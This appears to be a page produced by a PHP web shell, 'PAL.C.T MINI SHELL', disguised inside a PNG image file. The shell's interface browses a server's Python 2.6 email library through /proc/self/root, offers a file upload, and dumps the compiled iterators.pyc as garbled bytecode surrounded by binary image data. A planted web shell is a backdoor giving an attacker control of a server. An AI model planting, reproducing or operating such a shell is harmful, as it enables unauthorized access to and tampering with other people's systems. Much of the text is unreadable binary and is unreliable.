php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /proc/self/root/usr/lib/python2.6/email/
upload
files >> //proc/self/root/usr/lib/python2.6/email/iterators.pyc

Lc@skdZdddgZddkZddklZdZedZd	dd
Z	ddedZ
dS(
s1Various types of useful iterators and generators.tbody_line_iteratorttyped_subpart_iteratortwalkiN(tStringIOccsM|V|io7x4|iD]"}x|iD]}|Vq2WqWndS(sWalk over the message tree, yielding each subpart.

    The walk is performed in depth-first order.  This method is a
    generator.
    N(tis_multiparttget_payloadR(tselftsubpartt
subsubpart((s%/usr/lib/python2.6/email/iterators.pyRs


ccs]xV|iD]H}|id|}t|to xt|D]}|VqBWq
q
WdS(sIterate over the parts, returning string payloads line-by-line.

    Optional decode (default False) is passed through to .get_payload().
    tdecodeN(RRt
isinstancet
basestringR(tmsgR	Rtpayloadtline((s%/usr/lib/python2.6/email/iterators.pyR#s

ttextccs[xT|iD]F}|i|jo-|djp|i|jo	|VqSq
q
WdS(sIterate over the subparts with a given MIME type.

    Use `maintype' as the main MIME type to match against; this defaults to
    "text".  Optional `subtype' is the MIME subtype to match against; if
    omitted, only the main type is matched.
    N(Rtget_content_maintypetNonetget_content_subtype(RtmaintypetsubtypeR((s%/usr/lib/python2.6/email/iterators.pyR/s

 icCs|djo
ti}nd|d}|||iI|o|d|iIJn|J|io2x/|iD]}t|||d|qyWndS(sA handy debugging aidt is[%s]iN(Rtsyststdouttget_content_typetget_default_typeRRt
_structure(Rtfptleveltinclude_defaultttabR((s%/usr/lib/python2.6/email/iterators.pyR=s



(t__doc__t__all__Rt	cStringIORRtFalseRRRR(((s%/usr/lib/python2.6/email/iterators.pyt<module>s		
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`